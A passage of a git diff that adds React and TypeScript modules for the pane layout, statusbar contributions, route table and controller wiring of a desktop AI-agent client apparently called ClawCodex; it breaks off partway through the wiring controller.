+import { useContributions } from '@/contrib/react/use-contributions'
+import { registry } from '@/contrib/registry'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
+import { openPreview } from '@/store/preview'
+import { $currentCwd } from '@/store/session'
+
+// ---------------------------------------------------------------------------
+// Logs — live agent-log tail. ⌘K-only chrome: the pane contribution exists
+// only while the "Toggle logs" palette command has it summoned ($logsOpen in
+// the controller) — never in a default layout, never a standing tab.
+// ---------------------------------------------------------------------------
+
+export function LogsPane() {
+  const { data, error } = useQuery({
+    queryKey: ['contrib-logs-tail'],
+    queryFn: () => getLogs({ lines: 300 }),
+    refetchInterval: 5000
+  })
+
+  if (error) {
+    return <div className="p-3 text-xs text-(--ui-text-quaternary)">log unavailable: {String(error)}</div>
+  }
+
+  if (!data) {
+    return (
+      <div className="grid h-full place-items-center">
+        <DecodeText className="text-(--ui-text-quaternary)" cursor prefix={1} text="LOGS" />
+      </div>
+    )
+  }
+
+  // No chrome of its own — the zone header (when the user summons it) is the
+  // pane's only label. Just the tail.
+  return (
+    <pre className="h-full min-h-0 overflow-auto whitespace-pre-wrap break-words p-2.5 font-mono text-[0.66rem] leading-relaxed text-(--ui-text-secondary)">
+      {data.lines.join('\n')}
+    </pre>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Preview — the real rail, fed by the files pane
+// ---------------------------------------------------------------------------
+
+/** Preview-server restart handler, provided by the wiring (usePreviewRouting).
+ *  Atom-bridged: this module can't import contrib-wiring (it imports us). */
+export const $restartPreviewServer = atom<((url: string, context?: string) => Promise<string>) | null>(null)
+
+/** Open a file from the tree in the real preview pipeline. */
+function previewFile(path: string) {
+  void normalizeOrLocalPreviewTarget(path, $currentCwd.get() || undefined)
+    .then(target => {
+      if (target) {
+        openPreview(target, 'file-browser')
+      }
+    })
+    .catch(() => undefined)
+}
+
+// Layout fit for wrapped asides. Edge chrome (borders/shadows) is neutralized
+// GLOBALLY by the tree's seam invariant (see LayoutTreeRoot) — only sizing
+// and titlebar clearance are per-wrapper concerns.
+const ZONE_CONTENT = 'h-full [&>aside]:h-full [&>aside]:w-full [&>aside]:pt-0'
+
+export function FilesPane() {
+  return (
+    <div className={ZONE_CONTENT}>
+      <RightSidebarPane onActivateFile={previewFile} onActivateFolder={previewFile} />
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Review — the real git diff pane (⌘G / $reviewOpen)
+// ---------------------------------------------------------------------------
+
+export function ReviewPaneContent() {
+  const cwd = useStore($currentCwd)
+
+  // Keyed by cwd like DesktopController so switching projects rebuilds the
+  // diff state instead of showing the previous repo's files.
+  return (
+    <div className={cn(ZONE_CONTENT, 'flex min-h-0 flex-col [&>aside]:min-h-0 [&>aside]:flex-1')}>
+      <ReviewPane key={cwd || 'no-cwd'} />
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Statusbar composability: plugins contribute DATA items into
+// `statusBar.left` / `statusBar.right`; the wiring feeds them into the REAL
+// useStatusbarItems as extraLeftItems/extraRightItems. No core filler here —
+// the real statusbar owns the core items (model pill, terminal toggle, …).
+// ---------------------------------------------------------------------------
+
+/** Collect statusbar contributions for one side. A `render()` contribution
+ *  becomes a render-item (arbitrary stateful node); otherwise the declarative
+ *  `data` payload is the StatusbarItem. */
+export function useStatusbarContributions(side: 'left' | 'right'): StatusbarItem[] {
+  const items = useContributions(`statusBar.${side}`)
+
+  return items
+    .map(c =>
+      c.render
+        ? ({
+            id: c.id,
+            render: () => (
+              <ContribBoundary id={c.id} variant="chip">
+                {c.render!()}
+              </ContribBoundary>
+            )
+          } satisfies StatusbarItem)
+        : (c.data as StatusbarItem)
+    )
+    .filter(Boolean)
+}
+
+/** Collect TitlebarTool data contributions for one side of the titlebar. */
+export function useTitlebarToolContributions(side: 'left' | 'right'): TitlebarTool[] {
+  const items = useContributions(`titleBar.tools.${side}`)
+
+  return items.map(c => c.data as TitlebarTool).filter(Boolean)
+}
+
+/**
+ * Bridge a page's `GroupSetter` extension point (SkillsView, MessagingView,
+ * ChatPreviewRail, …) into the registry: each call replaces the group's items
+ * as DATA contributions in `<prefix>.<side>`, so page-owned items flow through
+ * the same pipe plugins use. Setting an empty list clears the group.
+ */
+export function registryGroupSetter<T>(prefix: string): GroupSetter<T> {
+  const disposers = new Map<string, () => void>()
+
+  return (id, items, side = 'right') => {
+    const key = `${side}:${id}`
+
+    disposers.get(key)?.()
+    disposers.set(
+      key,
+      registry.registerMany(
+        items.map((item, i) => ({
+          id: `${id}-${i}`,
+          area: `${prefix}.${side}`,
+          source: 'core',
+          order: 100 + i,
+          data: item as object
+        }))
+      )
+    )
+  }
+}
+
+/** The app's page-facing setters — the same `GroupSetter` shape pages already
+ *  take as props, backed by the registry instead of component state. */
+export const setStatusbarItemGroup = registryGroupSetter<StatusbarItem>('statusBar')
+export const setTitlebarToolGroup = registryGroupSetter<TitlebarTool>('titleBar.tools')
diff --git a/ui-desktop/src/app/contrib/surfaces.tsx b/ui-desktop/src/app/contrib/surfaces.tsx
new file mode 100644
index 000000000..750248fbf
--- /dev/null
+++ b/ui-desktop/src/app/contrib/surfaces.tsx
@@ -0,0 +1,192 @@
+/**
+ * Wiring surfaces — each pane is its own memoized component. Every surface
+ * reads the reactive state it renders from at the leaf (its own atom
+ * subscriptions) and reaches the controller's callbacks through the stable
+ * `actions` bag, so a state change scoped to one surface (or a bare
+ * wiring-controller tick) never re-renders another. This is what keeps the
+ * layout tree's zones independently rendered — the whole point of the shell.
+ */
+
+import { useStore } from '@nanostores/react'
+import { type ComponentProps, lazy, memo, type ReactNode, Suspense, useMemo } from 'react'
+import { Navigate, Route, Routes, useParams } from 'react-router'
+
+import { ContribBoundary } from '@/contrib/react/boundary'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $freshDraftReady, $gatewayState } from '@/store/session'
+
+import { ChatView } from '../chat'
+import { ChatSidebar } from '../chat/sidebar'
+import { TerminalPaneChrome } from '../right-sidebar/terminal/chrome'
+import { contributedRoutes, NEW_CHAT_ROUTE, ROUTES_AREA, sessionRoute } from '../routes'
+import { useStatusSnapshot } from '../shell/hooks/use-status-snapshot'
+import { useStatusbarItems } from '../shell/hooks/use-statusbar-items'
+import { ModelMenuPanel } from '../shell/model-menu-panel'
+import { StatusbarControls } from '../shell/statusbar-controls'
+
+import { latestChatActions, latestSidebarActions } from './latest-actions'
+import { setStatusbarItemGroup, useStatusbarContributions } from './panes'
+import type { SidebarActions, WiringActions } from './types'
+
+// Same lazy-view split as DesktopController — pages load on demand. The
+// full-page views the workspace route table mounts live here; overlay views
+// (agents/settings/…) are the controller's and stay in wiring.tsx.
+const ArtifactsView = lazy(async () => ({ default: (await import('../artifacts')).ArtifactsView }))
+const MessagingView = lazy(async () => ({ default: (await import('../messaging')).MessagingView }))
+const SkillsView = lazy(async () => ({ default: (await import('../skills')).SkillsView }))
+
+export function LegacySessionRedirect() {
+  const { sessionId } = useParams()
+
+  return <Navigate replace to={sessionId ? sessionRoute(sessionId) : NEW_CHAT_ROUTE} />
+}
+
+export const SidebarSurface = memo(function SidebarSurface({
+  actions,
+  currentView
+}: {
+  actions: SidebarActions
+  currentView: ComponentProps<typeof ChatSidebar>['currentView']
+}) {
+  const latestActions = useMemo(() => latestSidebarActions(actions), [actions])
+
+  return <ChatSidebar currentView={currentView} {...latestActions} />
+})
+
+export const TerminalSurface = memo(function TerminalSurface() {
+  return (
+    <div className="relative flex h-full min-h-0 flex-col overflow-hidden bg-(--ui-terminal-surface-background)">
+      <TerminalPaneChrome />
+    </div>
+  )
+})
+
+/** Owns the statusbar's own data hooks (status snapshot poll, contributed
+ *  items) so its 15s refresh — and any statusbar-only churn — re-renders the
+ *  bar alone, never the chat/sidebar/terminal. */
+export const StatusbarSurface = memo(function StatusbarSurface({
+  actions,
+  agentsOpen,
+  chatOpen,
+  commandCenterOpen
+}: {
+  actions: WiringActions
+  agentsOpen: boolean
+  chatOpen: boolean
+  commandCenterOpen: boolean
+}) {
+  const gatewayState = useStore($gatewayState)
+  const freshDraftReady = useStore($freshDraftReady)
+  const { inferenceStatus, statusSnapshot } = useStatusSnapshot(gatewayState, actions.requestGateway)
+  const extraLeftItems = useStatusbarContributions('left')
+  const extraRightItems = useStatusbarContributions('right')
+
+  const { leftStatusbarItems, statusbarItems } = useStatusbarItems({
+    agentsOpen,
+    chatOpen,
+    commandCenterOpen,
+    extraLeftItems,
+    extraRightItems,
+    freshDraftReady,
+    gatewayState,
+    inferenceStatus,
+    openAgents: actions.openAgents,
+    openCommandCenterSection: actions.openCommandCenterSection,
+    requestGateway: actions.requestGateway,
+    statusSnapshot,
+    toggleCommandCenter: actions.toggleCommandCenter
+  })
+
+  return <StatusbarControls items={statusbarItems} leftItems={leftStatusbarItems} />
+})
+
+/** The workspace pane: the real route table (chat + full-page views + plugin
+ *  routes). Subscribes to `$gatewayState` and ROUTES_AREA itself; the gateway
+ *  instance + voice cap arrive as props so a reconnect/config load re-renders
+ *  only this surface. ChatView subscribes to its own session atoms, so
+ *  streaming never round-trips through the controller. */
+export const ChatRoutesSurface = memo(function ChatRoutesSurface({
+  actions,
+  maxVoiceRecordingSeconds
+}: {
+  actions: WiringActions
+  maxVoiceRecordingSeconds?: number
+}) {
+  const activeGatewayProfile = useStore($activeGatewayProfile)
+  const gatewayState = useStore($gatewayState)
+  useContributions(ROUTES_AREA)
+  const routeContributions = contributedRoutes()
+
+  // Recapture the live gateway instance whenever the connection state flips.
+  // getGateway reads a controller ref, so gatewayState is the intentional
+  // re-eval trigger (not a value the computation itself reads).
+  const gateway = useMemo(
+    () => actions.getGateway(),
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [actions, gatewayState]
+  )
+
+  const modelMenuContent = useMemo(
+    () =>
+      gatewayState === 'open' ? (
+        <ModelMenuPanel
+          gateway={gateway || undefined}
+          onSelectModel={actions.selectModel}
+          profile={activeGatewayProfile}
+          requestGateway={actions.requestGateway}
+        />
+      ) : null,
+    [actions, activeGatewayProfile, gateway, gatewayState]
+  )
+
+  const chatActions = useMemo(() => latestChatActions(actions), [actions])
+
+  const chatView = (
+    <ChatView
+      gateway={gateway}
+      maxVoiceRecordingSeconds={maxVoiceRecordingSeconds}
+      modelMenuContent={modelMenuContent}
+      {...chatActions}
+    />
+  )
+
+  // FULL-PAGE views (not chat) mark the zone body `data-zone-no-header`: a
+  // page is not a tab-able surface, so the zone's double-click header toggle
+  // stands down while one is showing (see onZoneDoubleClick).
+  const page = (view: ReactNode) => (
+    <div className="contents" data-zone-no-header>
+      <Suspense fallback={null}>{view}</Suspense>
+    </div>
+  )
+
+  return (
+    <Routes>
+      <Route element={chatView} index />
+      <Route element={chatView} path=":sessionId" />
+      <Route element={page(<SkillsView setStatusbarItemGroup={setStatusbarItemGroup} />)} path="skills" />
+      <Route element={page(<MessagingView setStatusbarItemGroup={setStatusbarItemGroup} />)} path="messaging" />
+      <Route element={page(<ArtifactsView setStatusbarItemGroup={setStatusbarItemGroup} />)} path="artifacts" />
+      <Route element={null} path="agents" />
+      <Route element={null} path="command-center" />
+      <Route element={null} path="cron" />
+      <Route element={null} path="profiles" />
+      <Route element={null} path="settings" />
+      <Route element={null} path="starmap" />
+      <Route element={null} path="webhooks" />
+      {/* Registry-contributed pages (core features + plugins) render in the
+          workspace pane like any built-in view — behind the same blast wall
+          as every other contribution mount. */}
+      {routeContributions.map(route => (
+        <Route
+          element={page(<ContribBoundary id={route.key}>{route.render()}</ContribBoundary>)}
+          key={route.key}
+          path={route.path.slice(1)}
+        />
+      ))}
+      <Route element={<Navigate replace to={NEW_CHAT_ROUTE} />} path="new" />
+      <Route element={<LegacySessionRedirect />} path="sessions/:sessionId" />
+      <Route element={<Navigate replace to={NEW_CHAT_ROUTE} />} path="*" />
+    </Routes>
+  )
+})
diff --git a/ui-desktop/src/app/contrib/types.ts b/ui-desktop/src/app/contrib/types.ts
new file mode 100644
index 000000000..1e2c60ac7
--- /dev/null
+++ b/ui-desktop/src/app/contrib/types.ts
@@ -0,0 +1,79 @@
+import type { ComponentProps, ReactNode } from 'react'
+
+import type { ChatView } from '../chat'
+import type { ChatSidebar } from '../chat/sidebar'
+import type { CommandCenterSection } from '../command-center'
+import type { useGatewayRequest } from '../gateway/hooks/use-gateway-request'
+import type { ModelMenuPanel } from '../shell/model-menu-panel'
+
+export type GatewayRequester = ReturnType<typeof useGatewayRequest>['requestGateway']
+
+/** The ChatSidebar handlers the controller owns — forwarded verbatim. */
+export type SidebarActions = Pick<
+  ComponentProps<typeof ChatSidebar>,
+  | 'onArchiveSession'
+  | 'onBranchSession'
+  | 'onDeleteSession'
+  | 'onLoadMoreMessaging'
+  | 'onLoadMoreProfileSessions'
+  | 'onLoadMoreSessions'
+  | 'onManageCronJob'
+  | 'onNavigate'
+  | 'onNewSessionInWorkspace'
+  | 'onNewSessionSplit'
+  | 'onResumeSession'
+  | 'onTriggerCronJob'
+>
+
+/** The ChatView handlers the controller owns — forwarded verbatim. */
+export type ChatActions = Pick<
+  ComponentProps<typeof ChatView>,
+  | 'onAddContextRef'
+  | 'onAddUrl'
+  | 'onAttachDroppedItems'
+  | 'onAttachImageBlob'
+  | 'onBranchInNewChat'
+  | 'onCancel'
+  | 'onDeleteSelectedSession'
+  | 'onDismissError'
+  | 'onEdit'
+  | 'onPasteClipboardImage'
+  | 'onPickFiles'
+  | 'onPickFolders'
+  | 'onPickImages'
+  | 'onReload'
+  | 'onRemoveAttachment'
+  | 'onRestoreToMessage'
+  | 'onRetryResume'
+  | 'onSteer'
+  | 'onSubmit'
+  | 'onThreadMessagesChange'
+  | 'onToggleSelectedPin'
+  | 'onTranscribeAudio'
+>
+
+/**
+ * The complete controller-owned callback surface. One object, one stable
+ * identity for the app's life — its fields are mutated in place each render,
+ * so surfaces bound to it never re-render on identity churn but always invoke
+ * the latest closure.
+ */
+export interface WiringActions extends SidebarActions, ChatActions {
+  /** The live gateway instance (held in a controller ref). Surfaces recapture
+   *  it by subscribing to `$gatewayState`, so no gateway prop needs threading. */
+  getGateway: () => ComponentProps<typeof ChatView>['gateway']
+  openAgents: () => void
+  openCommandCenterSection: (section: CommandCenterSection) => void
+  requestGateway: GatewayRequester
+  selectModel: ComponentProps<typeof ModelMenuPanel>['onSelectModel']
+  toggleCommandCenter: () => void
+}
+
+/** The four wired surfaces the controller publishes; `WiredPane` renders one by
+ *  key inside a registered pane / chrome slot. */
+export interface WiringApi {
+  sidebar: ReactNode
+  chatRoutes: ReactNode
+  terminal: ReactNode
+  statusbar: ReactNode
+}
diff --git a/ui-desktop/src/app/contrib/wiring.tsx b/ui-desktop/src/app/contrib/wiring.tsx
new file mode 100644
index 000000000..792f2db04
--- /dev/null
+++ b/ui-desktop/src/app/contrib/wiring.tsx
@@ -0,0 +1,1123 @@
+/**
+ * Real-featureset wiring for the contrib (layout tree) root — the minimal
+ * subset of DesktopController's hook chain that makes the REAL surfaces work:
+ * gateway boot -> sessions list -> click-to-resume -> live transcript ->
+ * composer send, plus the real terminal.
+ *
+ * The wired nodes (sidebar / chat routes / terminal) are exposed through
+ * context; registered panes render `<WiredPane part="…"/>` to consume them.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type CSSProperties, lazy, type ReactNode, Suspense, useCallback, useEffect, useMemo, useRef } from 'react'
+import { useLocation, useNavigate } from 'react-router'
+
+import { getSessionMessages, triggerCronJob } from '@/clawcodex'
+import { formatRefValue } from '@/components/assistant-ui/directive-text'
+import { BootFailureOverlay } from '@/components/boot-failure-overlay'
+import { DesktopInstallOverlay } from '@/components/desktop-install-overlay'
+import { FindBar } from '@/components/find-bar'
+import { GatewayConnectingOverlay } from '@/components/gateway-connecting-overlay'
+import { NotificationStack } from '@/components/notifications'
+import { DesktopOnboardingOverlay } from '@/components/onboarding'
+import { $newSessionTabAction, registerPaneCloser } from '@/components/pane-shell/tree/store'
+import { FloatingPet } from '@/components/pet/floating-pet'
+import { RemoteDisplayBanner } from '@/components/remote-display-banner'
+import { emitGatewayEvent } from '@/contrib/events'
+import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
+import { sessionMessagesSignature } from '@/lib/session-signatures'
+import { isMessagingSource } from '@/lib/session-source'
+import { latestSessionTodos } from '@/lib/todos'
+import { activateWakeIndicator } from '@/lib/wake-indicator'
+import { playWakeSound } from '@/lib/wake-sound'
+import { $billingSettingsRequest } from '@/store/billing-block'
+import { $desktopBoot } from '@/store/boot'
+import { requestVoiceConversationStart } from '@/store/composer'
+import { setCronFocusJobId } from '@/store/cron'
+import { $pinnedSessionIds, pinSession, restoreWorktree, unpinSession } from '@/store/layout'
+import { $previewTarget } from '@/store/preview'
+import {
+  $activeGatewayProfile,
+  $freshSessionRequest,
+  $profileScope,
+  ensureGatewayProfile,
+  newSessionInProfile,
+  normalizeProfileKey,
+  refreshActiveProfile
+} from '@/store/profile'
+import { $startWorkSessionRequest, followActiveSessionCwd } from '@/store/projects'
+import {
+  $activeSessionId,
+  $connection,
+  $currentCwd,
+  $freshDraftReady,
+  $gatewayState,
+  $messages,
+  $messagingSessions,
+  $resumeExhaustedSessionId,
+  $resumeFailedSessionId,
+  $selectedStoredSessionId,
+  $sessions,
+  sessionMatchesStoredId,
+  sessionPinId,
+  setAwaitingResponse,
+  setBusy,
+  setMessages
+} from '@/store/session'
+import { clearSessionTodos, setSessionTodos, todosForHydration } from '@/store/todos'
+import { armWakeWord, stopClientCapture } from '@/store/wake-word'
+import { isSecondaryWindow } from '@/store/windows'
+import { useSkinCommand } from '@/themes/use-skin-command'
+
+import { closeWorkspaceTab } from '../chat/close-tab'
+import { requestComposerInsert } from '../chat/composer/focus'
+import { useComposerActions } from '../chat/hooks/use-composer-actions'
+import { CommandPalette } from '../command-palette'
+import { useGatewayBoot } from '../gateway/hooks/use-gateway-boot'
+import { useGatewayRequest } from '../gateway/hooks/use-gateway-request'
+import { useKeybinds } from '../hooks/use-keybinds'
+import { ModelPickerOverlay } from '../model-picker-overlay'
+import { ModelVisibilityOverlay } from '../model-visibility-overlay'
+import { mainChatOccupied, openSession } from '../open-session'
+import { PetGenerateOverlay } from '../pet-generate/pet-generate-overlay'
+import { FileActionDialogs } from '../right-sidebar/file-actions'
+import { RemoteFolderPicker } from '../right-sidebar/files/remote-picker'
+import { resetProjectTreeState } from '../right-sidebar/files/use-project-tree'
+import { PersistentTerminal } from '../right-sidebar/terminal/persistent'
+import { closeAllTerminals } from '../right-sidebar/terminal/terminals'
+import {
+  CRON_ROUTE,
+  navigateToWorkspacePage,
+  routeSessionId,
+  sessionRoute,
+  SETTINGS_ROUTE,
+  syncWorkspaceRoute
+} from '../routes'
+import { SessionPickerOverlay } from '../session-picker-overlay'
+import { SessionSwitcher } from '../session-switcher'
+import { useBackgroundQueueDrain } from '../session/hooks/use-background-queue-drain'
+import { useClawCodexConfig } from '../session/hooks/use-clawcodex-config'
+import { useContextSuggestions } from '../session/hooks/use-context-suggestions'
+import { useCwdActions } from '../session/hooks/use-cwd-actions'
+import { useMessageStream } from '../session/hooks/use-message-stream'
+import { useModelControls } from '../session/hooks/use-model-controls'
+import { usePreviewRouting } from '../session/hooks/use-preview-routing'
+import { usePromptActions } from '../session/hooks/use-prompt-actions'
+import { useRouteResume } from '../session/hooks/use-route-resume'
+import { useSessionActions } from '../session/hooks/use-session-actions'
+import { useSessionListActions } from '../session/hooks/use-session-list-actions'
+import { useSessionStateCache } from '../session/hooks/use-session-state-cache'
+import { startWorkspaceSession } from '../session/workspace-session-target'
+import { useOverlayRouting } from '../shell/hooks/use-overlay-routing'
+import { useWindowControlsOverlayWidth } from '../shell/hooks/use-window-controls-overlay-width'
+import { titlebarControlsPosition } from '../shell/titlebar'
+import { TitlebarControls } from '../shell/titlebar-controls'
+import { UpdatesOverlay } from '../updates-overlay'
+
+import { ContribWiringContext } from './context'
+import { useBackgroundSync } from './hooks/use-background-sync'
+import { useDesktopIntegrations } from './hooks/use-desktop-integrations'
+import { usePetBridge } from './hooks/use-pet-bridge'
+import { useQuickEntryBridge } from './hooks/use-quick-entry-bridge'
+import { useSessionTileDelegate } from './hooks/use-session-tile-delegate'
+import { $restartPreviewServer, useTitlebarToolContributions } from './panes'
+import { ChatRoutesSurface, SidebarSurface, StatusbarSurface, TerminalSurface } from './surfaces'
+import type { WiringActions, WiringApi } from './types'
+
+// Overlay views the controller mounts over the shell — lazy, load on demand.
+// The workspace-route full-page views (skills/messaging/artifacts) are the
+// ChatRoutesSurface's and live in ./surfaces.
+const AgentsView = lazy(async () => ({ default: (await import('../agents')).AgentsView }))
+const CommandCenterView = lazy(async () => ({ default: (await import('../command-center')).CommandCenterView }))
+const CronView = lazy(async () => ({ default: (await import('../cron')).CronView }))
+const WebhooksView = lazy(async () => ({ default: (await import('../webhooks')).WebhooksView }))
+const ProfilesView = lazy(async () => ({ default: (await import('../profiles')).ProfilesView }))
+const SettingsView = lazy(async () => ({ default: (await import('../settings')).SettingsView }))
+const StarmapView = lazy(async () => ({ default: (await import('../starmap')).StarmapView }))
+
+// Surfaces (the four wired panes), the render context + WiredPane, and the
+// WiringActions/WiringApi contracts all live in sibling modules — this file is
+// the controller that assembles them.
+export { WiredPane } from './context'
+
+export function ContribWiring({ children }: { children: ReactNode }) {
+  const queryClient = useQueryClient()
+  const location = useLocation()
+  const navigate = useNavigate()
+
+  const busyRef = useRef(false)
+  const creatingSessionRef = useRef(false)
+  // Billing recovery routes to Settings → Billing from surfaces without router
+  // context (the sticky toast). The shell owns `navigate`, so it consumes the
+  // intent counter here; the ref skips the initial mount value.
+  const billingSettingsSeenRef = useRef(0)
+  const messagingTranscriptSignatureRef = useRef(new Map<string, string>())
+  // Stable identity for the whole callback surface (see WiringActions). Mutated
+  // in place each render so memoized surfaces never re-render on churn.
+  const actionsRef = useRef<WiringActions | null>(null)
+
+  const gatewayState = useStore($gatewayState)
+  const activeSessionId = useStore($activeSessionId)
+  const billingSettingsRequest = useStore($billingSettingsRequest)
+  const currentCwd = useStore($currentCwd)
+
+  // eslint-disable-next-line no-restricted-syntax -- one-shot request-seen sentinel, not an atom mirror
+  useEffect(() => {
+    if (billingSettingsRequest === billingSettingsSeenRef.current) {
+      return
+    }
+
+    billingSettingsSeenRef.current = billingSettingsRequest
+
+    if (billingSettingsRequest > 0) {
+      navigate(`${SETTINGS_ROUTE}?tab=billing`)
+    }
+  }, [billingSettingsRequest, navigate])
+  const freshDraftReady = useStore($freshDraftReady)
+  const resumeFailedSessionId = useStore($resumeFailedSessionId)
+  const resumeExhaustedSessionId = useStore($resumeExhaustedSessionId)
+  const selectedStoredSessionId = useStore($selectedStoredSessionId)
+  const messagingSessions = useStore($messagingSessions)
+  const sessions = useStore($sessions)
+  const activeGatewayProfile = useStore($activeGatewayProfile)
+  const profileScope = useStore($profileScope)
+  const boot = useStore($desktopBoot)
+
+  const routedSessionId = routeSessionId(location.pathname)
+  const routedSessionIdRef = useRef(routedSessionId)
+
+  routedSessionIdRef.current = routedSessionId
+  const routeToken = `${location.pathname}:${location.search}:${location.hash}`
+  const routeTokenRef = useRef(routeToken)
+  routeTokenRef.current = routeToken
+  const getRouteToken = useCallback(() => routeTokenRef.current, [])
+
+  const getRoutedStoredSessionId = useCallback(() => routedSessionIdRef.current, [])
+
+  const clearRoutedSessionIntent = useCallback(() => {
+    routedSessionIdRef.current = null
+  }, [])
+
+  // Point the workspace at the route: the pane contribution re-registers
+  // headerVeto from $workspaceIsPage (so the main zone's tab bar stands down
+  // on pages), and a page route fronts the pane so it can't stay stuck behind
+  // a focused session tile.
+  useEffect(() => {
+    syncWorkspaceRoute(location.pathname)
+  }, [location.pathname])
+
+  const {
+    agentsOpen,
+    chatOpen,
+    closeOverlayToPreviousRoute,
+    commandCenterInitialSection,
+    commandCenterOpen,
+    cronOpen,
+    currentView,
+    openAgents,
+    openCommandCenterSection,
+    openStarmap,
+    profilesOpen,
+    resetOverlayReturnRoute,
+    settingsOpen,
+    starmapOpen,
+    toggleCommandCenter,
+    webhooksOpen
+  } = useOverlayRouting()
+
+  const {
+    activeSessionIdRef,
+    ensureSessionState,
+    getRuntimeIdForStoredSession,
+    resetViewSync,
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionIdRef,
+    sessionStateByRuntimeIdRef,
+    syncSessionStateToView,
+    updateSessionState
+  } = useSessionStateCache({
+    activeSessionId,
+    busyRef,
+    selectedStoredSessionId,
+    setAwaitingResponse,
+    setBusy,
+    setMessages
+  })
+
+  const { connectionRef, gateway, gatewayRef, requestGateway } = useGatewayRequest()
+
+  const {
+    loadMoreMessagingForPlatform,
+    loadMoreSessions,
+    loadMoreSessionsForProfile,
+    refreshCronJobs,
+    refreshMessagingSessions,
+    refreshSessions
+  } = useSessionListActions({ profileScope })
+
+  const updateActiveSessionRuntimeInfo = useCallback(
+    (info: { branch?: string; cwd?: string }) => {
+      const sessionId = activeSessionIdRef.current
+
+      if (!sessionId) {
+        return
+      }
+
+      updateSessionState(sessionId, state => ({
+        ...state,
+        branch: info.branch ?? state.branch,
+        cwd: info.cwd ?? state.cwd
+      }))
+    },
+    [activeSessionIdRef, updateSessionState]
+  )
+
+  const { refreshProjectBranch } = useCwdActions({
+    activeSessionIdRef,
+    onSessionRuntimeInfo: updateActiveSessionRuntimeInfo,
+    requestGateway
+  })
+
+  const { refreshClawCodexConfig, sttEnabled, voiceMaxRecordingSeconds } = useClawCodexConfig({ activeSessionIdRef })
+
+  const { applySavedMainModel, refreshCurrentModel, selectModel } = useModelControls({
+    queryClient,
+    requestGateway
+  })
+
+  const openProviderSettings = useCallback(() => navigate(`${SETTINGS_ROUTE}?tab=providers`), [navigate])
+
+  // Palette "Keyboard shortcuts" entry dispatches a custom event (contributions
+  // don't have router access); listen and navigate to the settings keybinds tab.
+  useEffect(() => {
+    const onOpenKeybinds = () => navigate(`${SETTINGS_ROUTE}?tab=keybinds`)
+    window.addEventListener('clawcodex:open-keybinds', onOpenKeybinds)
+
+    return () => window.removeEventListener('clawcodex:open-keybinds', onOpenKeybinds)
+  }, [navigate])
+
+  // Dev-only: install the credit-notice demo trigger (Ctrl+Shift+C / ⌘K palette
+  // / window.__creditsDemo). Dynamic import inside the DEV guard so the module
+  // is dropped from production builds.
+  useEffect(() => {
+    if (!import.meta.env.DEV) {
+      return
+    }
+
+    let dispose: (() => void) | undefined
+
+    void import('./dev/credits-notice-demo').then(m => {
+      dispose = m.installCreditsNoticeDemo()
+    })
+
+    return () => dispose?.()
+  }, [])
+
+  // Post-turn rehydrate from stored history (same behavior as DesktopController,
+  // including finished-todos restoration).
+  const hydrateFromStoredSession = useCallback(
+    async (
+      attempts = 1,
+      storedSessionId = selectedStoredSessionIdRef.current,
+      runtimeSessionId = activeSessionIdRef.current
+    ) => {
+      if (!storedSessionId || !runtimeSessionId) {
+        return
+      }
+
+      const storedProfile = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))?.profile
+
+      for (let index = 0; index < Math.max(1, attempts); index += 1) {
+        try {
+          const latest = await getSessionMessages(storedSessionId, storedProfile)
+          const messages = toChatMessages(latest.messages)
+          updateSessionState(
+            runtimeSessionId,
+            state => ({ ...state, messages: preserveLocalAssistantErrors(messages, state.messages) }),
+            storedSessionId
+          )
+
+          const restored = todosForHydration(latestSessionTodos(messages))
+
+          if (restored) {
+            setSessionTodos(runtimeSessionId, restored)
+          } else {
+            clearSessionTodos(runtimeSessionId)
+          }
+
+          return
+        } catch {
+          // Best-effort fallback when live stream payloads are empty.
+        }
+
+        if (index < attempts - 1) {
+          await new Promise(resolve => window.setTimeout(resolve, 250))
+        }
+      }
+    },
+    [activeSessionIdRef, selectedStoredSessionIdRef, updateSessionState]
+  )
+
+  // Refresh the open messaging transcript (inbound platform turns arrive via
+  // the background gateway, not the desktop websocket). Signature-gated so a
+  // no-change poll doesn't churn the thread.
+  const refreshActiveMessagingTranscript = useCallback(async () => {
+    const storedSessionId = selectedStoredSessionIdRef.current
+    const runtimeSessionId = activeSessionIdRef.current
+
+    if (!storedSessionId || !runtimeSessionId || busyRef.current) {
+      return
+    }
+
+    const stored = $messagingSessions.get().find(s => sessionMatchesStoredId(s, storedSessionId))
+
+    if (!stored || !isMessagingSource(stored.source)) {
+      return
+    }
+
+    try {
+      const latest = await getSessionMessages(storedSessionId, stored.profile)
+      const signatureKey = `${stored.profile ?? 'default'}:${storedSessionId}`
+      const sig = sessionMessagesSignature(latest.messages)
+
+      if (messagingTranscriptSignatureRef.current.get(signatureKey) === sig) {
+        return
+      }
+
+      messagingTranscriptSignatureRef.current.set(signatureKey, sig)
+      const messages = toChatMessages(latest.messages)
+
+      updateSessionState(
+        runtimeSessionId,
+        state => ({ ...state, messages: preserveLocalAssistantErrors(messages, state.messages) }),
+        storedSessionId
+      )
+    } catch {
+      // Non-fatal: next poll or manual refresh can hydrate.
+    }
+  }, [activeSessionIdRef, busyRef, selectedStoredSessionIdRef, updateSessionState])
+
+  const { handleGatewayEvent } = useMessageStream({
+    activeGatewayProfile,
+    activeSessionIdRef,
+    hydrateFromStoredSession,
+    queryClient,
+    refreshClawCodexConfig,
+    refreshSessions,
+    sessionStateByRuntimeIdRef,
+    updateSessionState
+  })
+
+  // Agent-driven preview routing (agent opens a URL/file -> the preview rail
+  // follows) + the preview server restart handler, layered over the base
+  // gateway event stream exactly like DesktopController.
+  const { handleDesktopGatewayEvent, restartPreviewServer } = usePreviewRouting({
+    baseHandleGatewayEvent: handleGatewayEvent,
+    currentCwd,
+    requestGateway
+  })
+
+  // Composer @-mention context suggestions (files/dirs under the cwd).
+  useContextSuggestions({
+    activeSessionId,
